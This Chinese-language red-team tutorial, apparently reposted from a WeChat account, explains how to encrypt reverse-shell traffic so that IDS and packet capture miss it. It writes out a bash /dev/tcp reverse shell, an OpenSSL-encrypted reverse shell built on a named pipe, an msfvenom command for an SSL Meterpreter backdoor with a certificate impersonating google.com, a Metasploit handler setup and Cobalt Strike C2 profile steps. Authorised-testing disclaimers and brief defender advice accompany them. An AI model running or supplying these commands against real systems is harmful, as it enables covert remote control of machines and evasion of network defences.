在红队渗透测试的后续渗透阶段,为了持续扩大战果,横向移动是不可避免的关键步骤。这个过程中,我们通常需要反弹shell来获取远程控制权。然而,如果这些shell连接采用明文传输,将面临诸多安全风险:不仅容易被wireshark等工具直接捕获并分析出操作命令和返回信息,更会被内网中的IDS或其他防护设备检测到攻击特征。一旦蓝队对攻击流量进行回溯分析,整个攻击过程将被完整复现,导致红队行动被迅速识别并终止。
本文将详细解析几种常见的流量加密混淆技术,帮助红队测试人员在合法授权的渗透测试中规避防御系统的检测。
明文传输的风险
首先,让我们通过一个简单的示例,了解明文传输的危险性。
环境配置:
-
攻击者:Kali (192.168.179.134) -
受害者:Ubuntu (192.168.179.139)
在这个后渗透阶段场景中,我们已获得目标系统初始访问权限。下面演示一个典型的明文反弹shell流程:
-
攻击者使用nc命令监听反弹端口:
nc -lvvp 8080
-
在受害者机器上执行反弹shell命令:
bash -i >& /dev/tcp/192.168.179.134/8080 0>&1
连接建立后,使用wireshark抓包分析TCP流量,可以清晰地看到所有执行的命令和返回结果——这正是明文传输的致命弱点。任何网络监控设备都能轻松捕获这些信息,导致攻击行为完全暴露。
OpenSSL加密传输技术
OpenSSL作为一个开源的软件库包,可以帮助我们建立安全的加密通信通道,有效避免流量被监听和分析。
实施步骤:
-
攻击机使用OpenSSL生成自签名证书:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
-
攻击机监听加密端口:
openssl s_server -quiet -key key.pem -cert cert.pem -port 8080
-
目标机器执行加密反弹shell命令:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.179.134:8080 > /tmp/s; rm /tmp/s
这里使用了命名管道(FIFO文件)技术,它在文件系统中以文件名形式存在,但行为类似于管道,为shell输入输出提供了桥梁。
使用wireshark分析此时的TCP流量,我们会发现所有通信内容均已加密,呈现为无法识别的乱码,有效保护了操作的隐秘性。
Metasploit框架的流量加密
MSF提供了基于OpenSSL的流量加密功能,特别适用于Windows目标系统的渗透测试。
环境配置:
-
攻击者:Kali (192.168.179.134) -
受害者:Windows (192.168.179.136)
操作流程:
-
攻击机创建OpenSSL证书:
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com"
-keyout www.google.com.key
-out www.google.com.crt &&
cat www.google.com.key www.google.com.crt > www.google.com.pem &&
rm -f www.google.com.key www.google.com.crt
-
生成加密后门载荷:
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.179.134 LPORT=8080 PayloadUUIDTracking=true HandlerSSLCert=www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o pentestlab.bat
-
设置MSF监听器:
use exploit/multi/handler
set payload windows/meterpreter/reverse_winhttps
set LHOST 192.168.179.134
set LPORT 8080
set HandlerSSLCert /root/msf/www.google.com.pem
set StagerVerifySSLCert true
exploit
执行生成的后门文件后,目标系统会建立加密连接。wireshark抓包分析表明,所有通信流量均经过SSL/TLS加密,无法被直接解析。
Cobalt Strike自定义Profile实现高级流量加密
Cobalt Strike因其广泛应用,已成为许多IDS和流量检测工具的重点监控对象。使用默认配置和证书进行渗透测试,在高安全性环境中极易被识别和拦截。通过自定义C2 profile和证书,我们可以有效规避这些检测。
实施步骤:
-
生成自定义SSL证书:
keytool -genkey -alias ocean -keyalg RSA -validity 36500 -keystore ocean.store
-
编辑CS团队服务器配置文件,修改关键参数:
-
设置自定义User-Agent -
配置睡眠时间和抖动率 -
自定义HTTPS证书信息 -
设置代码签名证书 -
定制HTTP请求和响应格式
-
使用c2lint验证配置正确性:
./c2lint ocean.profile
-
启动自定义团队服务器:
复制创建自定义HTTPS监听器并生成后门
完成上述配置后,目标执行后门程序建立的连接将使用自定义证书进行加密。wireshark分析表明,不仅通信内容被加密,连接特征也与标准CS流量有明显区别,大大增加了检测难度。
总结与安全建议
流量加密技术在红队渗透测试中具有不可替代的作用,能有效规避检测并保持操作隐蔽性。然而,需要强调的是,这些技术仅限于合法授权的渗透测试活动中使用。
对于防御方,建议:
-
部署深度包检测设备,关注加密流量的异常模式 -
实施证书透明度检查,识别可疑的自签名证书 -
监控异常的网络连接持续时间和数据传输模式 -
建立网络基线,识别偏离正常行为的通信
通过合理运用流量加密技术,红队测试人员可以更全面地评估目标环境的实际安全状况,帮助组织发现并修复真实威胁可能利用的安全漏洞。
📢 声明:本文技术仅用于授权的安全测试活动,禁止用于任何非法用途。在实际应用中,请确保获得相关方的明确授权。
原文始发于微信公众号(HW安全之路):Shell流量加密完全指南:红队渗透测试的隐身术
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论